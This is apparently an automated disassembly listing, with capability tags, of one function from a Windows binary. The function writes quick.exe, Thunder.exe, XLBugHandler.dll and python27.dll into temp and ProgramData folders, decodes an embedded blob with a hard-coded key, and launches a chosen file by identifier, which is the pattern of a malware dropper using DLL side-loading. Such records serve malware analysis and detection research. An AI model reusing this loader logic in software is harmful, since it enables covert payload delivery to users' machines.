Function at 0x140002b10
Capabilities:
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete directory
Enumerate gui resources
Get common file path
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x11c0]
mov eax, 0x12c0
call fcn.1400134c0
sub rsp, rax
movaps xmmword [rsp + 0x12b0], xmm6
movaps xmmword [rsp + 0x12a0], xmm7
mov rax, qword [0x14004d020]
xor rax, rsp
mov qword [rbp + 0x1190], rax
mov r14, rcx
lea rdx, [rbp + 0x4d0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.1400026e0
mov r9, rax
lea r8, [rbp + 0x4d0]
lea rdx, str._squick.exe
lea rcx, [rbp + 0x800]
call qword [sym.imp.USER32.dll_wsprintfA]
call fcn.1400026e0
mov r9, rax
lea r8, [rbp + 0x4d0]
lea rdx, str._sXLBugHandler.dll
lea rcx, [rbp + 0xa20]
call qword [sym.imp.USER32.dll_wsprintfA]
call fcn.1400026e0
mov r9, rax
lea r8, [rbp + 0x4d0]
lea rdx, str._sThunder.exe
lea rcx, [rbp + 0xb30]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rbp + 0xf0]
call fcn.1400023f0
nop
lea rcx, [rbp + 0x1e0]
call fcn.1400023f0
nop
xor r15d, r15d
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov edi, 0xf
mov qword [rbp - 0x28], rdi
mov byte [rbp - 0x40], r15b
lea r8d, [r15 + 0xe]
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x40]
call fcn.1400070e0
nop
lea r8d, [r15 + 1]
lea rdx, [0x140045bb8]
lea rcx, [rbp - 0x40]
call fcn.140007240
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rdi
mov byte [rax], r15b
lea rdx, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0x10
cmovae rdx, qword [rbp + 0xf0]
mov r8, qword [rbp + 0x100]
lea rcx, [rbp - 0x60]
call fcn.140007240
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rdi
mov byte [rax], r15b
lea r8d, [r15 + 1]
lea rdx, [0x140045bb8]
lea rcx, [rbp - 0x80]
call fcn.140007240
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rdi
mov byte [rax], r15b
lea rdx, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 0x10
cmovae rdx, qword [rbp + 0x1e0]
mov r8, qword [rbp + 0x1f0]
lea rcx, [rsp + 0x60]
call fcn.140007240
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rdi
mov byte [rax], r15b
lea r8d, [r15 + 4]
lea rdx, str..exe
lea rcx, [rsp + 0x40]
call fcn.140007240
mov qword [rbp + 0x130], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x140], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x130], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x140], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rdi
mov byte [rax], r15b
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140002dbc
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002db7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400040b5
call fcn.140012e70
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], rdi
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140002e08
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400040bb
call fcn.140012e70
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], rdi
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140002e52
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400040c1
call fcn.140012e70
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], rdi
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140002e99
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400040c7
call fcn.140012e70
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], rdi
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140002ee0
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002edb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400040cd
call fcn.140012e70
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], rdi
mov byte [rbp - 0x40], 0
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], rdi
mov byte [rbp - 0x20], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x20]
call fcn.1400070e0
nop
mov r8d, 1
lea rdx, [0x140045bb8]
lea rcx, [rbp - 0x20]
call fcn.140007240
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rdi
mov byte [rax], 0
lea rdx, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0x10
cmovae rdx, qword [rbp + 0xf0]
mov r8, qword [rbp + 0x100]
lea rcx, [rbp + 0x20]
call fcn.140007240
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rdi
mov byte [rax], 0
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, qword [rbp]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140002fe1
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fdc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400040d3
call fcn.140012e70
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], rdi
mov byte [rbp], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140003028
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003023
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400040d9
call fcn.140012e70
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], rdi
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000306f
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000306a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400040df
call fcn.140012e70
lea r8, [rbp + 0x130]
cmp qword [rbp + 0x148], 0x10
cmovae r8, qword [rbp + 0x130]
lea rdx, [0x140045bbc]
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.USER32.dll_wsprintfA]
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], rdi
mov byte [rbp + 0x80], 0
lea rax, [rbp + 0x3c0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400030c4
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x80]
call fcn.1400070e0
nop
lea rcx, [rbp + 0x80]
mov r9, qword [rbp + 0x80]
mov r10, qword [rbp + 0x98]
cmp r10, 0x10
cmovae rcx, r9
mov rdx, qword [rbp + 0x90]
test rdx, rdx
je 0x140003139
lea rax, [rdx - 1]
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
add r8, rcx
cmp byte [r8], 0x5c
je 0x140003134
cmp r8, rcx
je 0x140003139
dec r8
cmp byte [r8], 0x5c
jne 0x140003126
sub r8, rcx
jmp 0x140003140
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], rdi
mov byte [rbp - 0x20], 0
inc r8
cmp rdx, r8
cmovb r8, rdx
lea rdx, [rbp + 0x80]
cmp r10, 0x10
cmovae rdx, r9
lea rcx, [rbp - 0x20]
call fcn.1400070e0
nop
mov r8d, 0xc
lea rdx, str.python27.dll
lea rcx, [rbp - 0x20]
call fcn.140007240
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rdi
mov byte [rax], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x1400031dc
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400031d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400040e5
call fcn.140012e70
movups xmmword [rbp + 0x80], xmm6
movups xmmword [rbp + 0x90], xmm7
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140003225
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003220
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400040eb
call fcn.140012e70
lea r8, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae r8, qword [rbp + 0x80]
lea rdx, [0x140045bbc]
lea rcx, [rbp + 0xc40]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rbp + 0xd0]
call fcn.1400023f0
nop
lea rcx, [rbp + 0x200]
call fcn.1400023f0
nop
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], rdi
mov byte [rsp + 0x60], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rsp + 0x60]
call fcn.1400070e0
nop
mov r8d, 1
lea rdx, [0x140045bb8]
lea rcx, [rsp + 0x60]
call fcn.140007240
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rdi
mov byte [rax], 0
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0x10
cmovae rdx, qword [rbp + 0xd0]
mov r8, qword [rbp + 0xe0]
lea rcx, [rbp - 0x80]
call fcn.140007240
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rdi
mov byte [rax], 0
mov r8d, 1
lea rdx, [0x140045bb8]
lea rcx, [rbp - 0x60]
call fcn.140007240
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rdi
mov byte [rax], 0
lea rdx, [rbp + 0x200]
cmp qword [rbp + 0x218], 0x10
cmovae rdx, qword [rbp + 0x200]
mov r8, qword [rbp + 0x210]
lea rcx, [rbp - 0x40]
call fcn.140007240
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rdi
mov byte [rax], 0
mov r8d, 4
lea rdx, str..exe
lea rcx, [rbp + 0x20]
call fcn.140007240
mov qword [rbp + 0x110], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x120], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x120], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rdi
mov byte [rax], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x14000342c
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003427
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400040f1
call fcn.140012e70
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], rdi
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140003473
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000346e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400040f7
call fcn.140012e70
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], rdi
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400034ba
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400040fd
call fcn.140012e70
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], rdi
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140003501
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004103
call fcn.140012e70
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], rdi
mov byte [rbp - 0x80], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14000354a
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003545
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004109
call fcn.140012e70
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], rdi
mov byte [rsp + 0x60], 0
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], rdi
mov byte [rbp - 0x20], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x20]
call fcn.1400070e0
nop
mov r8d, 1
lea rdx, [0x140045bb8]
lea rcx, [rbp - 0x20]
call fcn.140007240
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rdi
mov byte [rax], 0
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0x10
cmovae rdx, qword [rbp + 0xd0]
mov r8, qword [rbp + 0xe0]
lea rcx, [rsp + 0x40]
call fcn.140007240
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rdi
mov byte [rax], 0
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, qword [rbp]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140003654
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000364f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000410f
call fcn.140012e70
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], rdi
mov byte [rbp], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14000369d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003698
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004115
call fcn.140012e70
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], rdi
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400036e7
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000411b
call fcn.140012e70
lea r8, [rbp + 0x110]
cmp qword [rbp + 0x128], 0x10
cmovae r8, qword [rbp + 0x110]
lea rdx, [0x140045bbc]
lea rcx, [rbp + 0x5e0]
call qword [sym.imp.USER32.dll_wsprintfA]
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], rdi
mov byte [rbp + 0x60], 0
lea rax, [rbp + 0x5e0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140003730
lea rdx, [rbp + 0x5e0]
lea rcx, [rbp + 0x60]
call fcn.1400070e0
nop
lea rcx, [rbp + 0x60]
mov r9, qword [rbp + 0x60]
mov r10, qword [rbp + 0x78]
cmp r10, 0x10
cmovae rcx, r9
mov rdx, qword [rbp + 0x70]
test rdx, rdx
je 0x140003796
lea rax, [rdx - 1]
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
add r8, rcx
cmp byte [r8], 0x5c
je 0x140003791
cmp r8, rcx
je 0x140003796
dec r8
cmp byte [r8], 0x5c
jne 0x140003783
sub r8, rcx
jmp 0x14000379d
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], rdi
mov byte [rbp - 0x20], 0
inc r8
cmp rdx, r8
cmovb r8, rdx
lea rdx, [rbp + 0x60]
cmp r10, 0x10
cmovae rdx, r9
lea rcx, [rbp - 0x20]
call fcn.1400070e0
nop
mov r8d, 7
lea rdx, [0x140045bd0]
lea rcx, [rbp - 0x20]
call fcn.140007240
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rdi
mov byte [rax], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140003830
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000382b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004121
call fcn.140012e70
movups xmmword [rbp + 0x60], xmm6
movups xmmword [rbp + 0x70], xmm7
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140003873
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000386e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400040af
call fcn.140012e70
lea r8, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae r8, qword [rbp + 0x60]
lea rdx, [0x140045bbc]
lea rcx, [rbp + 0xd50]
call qword [sym.imp.USER32.dll_wsprintfA]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 0x61657771
mov dword [rsp + 0x34], 0x32316473
mov dword [rsp + 0x38], 0x63787a33
movdqu xmmword [rbp + 0xb8], xmm0
mov qword [rbp + 0xc8], r15
mov ecx, 0xc
call fcn.140012e78
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0xc0], rax
lea rbx, [rax + 0xc]
mov qword [rbp + 0xc8], rbx
mov r8d, 0xc
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.140014fc0
mov qword [rbp + 0xc0], rbx
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
mov qword [rbp + 0xb0], r15
mov ecx, 0x534
call fcn.140012e78
mov qword [rbp + 0xa0], rax
lea rbx, [rax + 0x534]
mov qword [rbp + 0xb0], rbx
mov r8d, 0x534
lea rdx, [0x14004dc20]
mov rcx, rax
call fcn.140014fc0
mov qword [rbp + 0xa8], rbx
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0xa0]
call fcn.140002220
mov qword [rbp + 0x40], r15
mov rcx, r15
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], rdi
mov byte [rbp + 0x40], cl
mov rsi, qword [rbp + 0xa8]
mov rbx, qword [rbp + 0xa0]
mov rdx, rsi
sub rdx, rbx
cmp rdx, 0x10
jb 0x14000399c
lea rcx, [rbp + 0x40]
call fcn.140007eb0
mov rcx, r15
mov qword [rbp + 0x50], rcx
mov rdi, qword [rbp + 0x58]
lea rax, [rbp + 0x40]
mov qword [rsp + 0x30], rax
cmp rbx, rsi
je 0x1400039f4
nop word [rax + rax]
movzx r9d, byte [rbx]
cmp rcx, rdi
jae 0x1400039d9
lea rax, [rcx + 1]
mov qword [rbp + 0x50], rax
lea rax, [rbp + 0x40]
cmp rdi, 0x10
cmovae rax, qword [rbp + 0x40]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400039e2
lea rcx, [rbp + 0x40]
call fcn.140008000
inc rbx
cmp rbx, rsi
je 0x1400039f4
mov rdi, qword [rbp + 0x58]
mov rcx, qword [rbp + 0x50]
jmp 0x1400039b0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], rax
lea rdx, str.__w__________________
lea rcx, [rbp + 0x220]
call fcn.140006c00
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x280], xmm0
movups xmmword [rbp + 0x2a0], xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov qword [rbp + 0x250], r15
mov byte [rbp + 0x258], 0
movdqa xmmword [rbp + 0x260], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x270], xmm1
mov qword [rbp + 0x280], r15
mov byte [rbp + 0x288], 0
movdqa xmmword [rbp + 0x290], xmm0
mov byte [rbp + 0x2a0], 0
mov qword [rbp + 0x2a8], r15
mov qword [rbp + 0x2b0], r15
mov byte [rbp + 0x2b8], 0
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x1a0], xmm0
movups xmmword [rbp + 0x1c0], xmm0
movups xmmword [rbp + 0x1d0], xmm0
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rdx, qword [rbp + 0x40]
add rdx, qword [rbp + 0x50]
lea rax, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rax, qword [rbp + 0x40]
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], rdx
lea rcx, [rbp + 0x220]
mov qword [rbp + 0x160], rcx
mov dword [rbp + 0x168], r15d
mov qword [rbp + 0x170], r15
mov byte [rbp + 0x178], 0
movdqa xmmword [rbp + 0x180], xmm0
movdqa xmmword [rbp + 0x190], xmm1
mov qword [rbp + 0x1a0], r15
mov byte [rbp + 0x1a8], 0
movdqa xmmword [rbp + 0x1b0], xmm0
mov byte [rbp + 0x1c0], 0
mov qword [rbp + 0x1c8], r15
mov qword [rbp + 0x1d0], r15
mov byte [rbp + 0x1d8], 0
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0x220]
lea r8, [rbp + 0x170]
mov rcx, rax
call fcn.140007a30
mov rcx, qword [rbp + 0x160]
test al, al
cmove rcx, r15
mov qword [rbp + 0x160], rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
movups xmmword [rbp + 0x2e0], xmm0
movups xmmword [rbp + 0x310], xmm0
movups xmmword [rbp + 0x330], xmm0
movups xmmword [rbp + 0x340], xmm0
movdqa xmmword [rbp + 0x2c0], xmm0
mov qword [rbp + 0x2d0], r15
mov qword [rbp + 0x2e0], r15
mov byte [rbp + 0x2e8], 0
movdqa xmmword [rbp + 0x2f0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x300], xmm1
mov qword [rbp + 0x310], r15
mov byte [rbp + 0x318], 0
movdqa xmmword [rbp + 0x320], xmm0
mov byte [rbp + 0x330], 0
mov qword [rbp + 0x338], r15
mov qword [rbp + 0x340], r15
mov byte [rbp + 0x348], 0
nop dword [rax]
test rcx, rcx
sete al
test al, al
jne 0x140003e00
lea rcx, [rbp + 0x350]
call fcn.1400041b0
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x350]
call fcn.140004250
nop
lea rcx, [rbp + 0x350]
call fcn.140006b90
cmp rax, 4
jne 0x140003ddb
lea edx, [rax - 3]
lea rcx, [rbp + 0x350]
call fcn.140006b50
mov rcx, rax
lea rdx, [rbp]
call fcn.140006af0
nop
mov edx, 2
lea rcx, [rbp + 0x350]
call fcn.140006b50
mov rcx, rax
lea rdx, [rbp - 0x20]
call fcn.140006af0
nop
mov edx, 3
lea rcx, [rbp + 0x350]
call fcn.140006b50
mov rcx, rax
lea rdx, [rbp + 0x20]
call fcn.140006af0
nop
lea rdx, str.Executing_code_for_identifier
lea rcx, [0x14004ea70]
call fcn.140007480
mov rcx, rax
lea rdx, [rbp]
call fcn.140007750
mov rcx, rax
lea rdx, [0x140045bfc]
call fcn.140007480
lea rdx, str.qddll
lea rcx, [rbp]
call fcn.140007770
test al, al
je 0x140003cfa
lea rbx, [rbp + 0xc40]
jmp 0x140003da9
lea rdx, str.tqexe
lea rcx, [rbp]
call fcn.140007770
test al, al
je 0x140003d1a
lea rbx, [rbp + 0x5e0]
jmp 0x140003da9
lea rdx, str.tqdll
lea rcx, [rbp]
call fcn.140007770
test al, al
je 0x140003d37
lea rbx, [rbp + 0xd50]
jmp 0x140003da9
lea rdx, [0x140045c38]
lea rcx, [rbp]
call fcn.140007770
test al, al
je 0x140003d54
lea rbx, [rbp + 0x800]
jmp 0x140003da9
lea rdx, [0x140045c3c]
lea rcx, [rbp]
call fcn.140007770
test al, al
je 0x140003d71
lea rbx, [rbp + 0xa20]
jmp 0x140003da9
lea rdx, [0x140045c40]
lea rcx, [rbp]
call fcn.140007770
test al, al
je 0x140003d8e
lea rbx, [rbp + 0xb30]
jmp 0x140003da9
lea rdx, str.qdexe
lea rcx, [rbp]
call fcn.140007770
test al, al
je 0x140003dbe
lea rbx, [rbp + 0x3c0]
lea rcx, [rbp - 0x20]
call fcn.140006e30
mov rcx, rax
mov rdx, rbx
call fcn.1400025a0
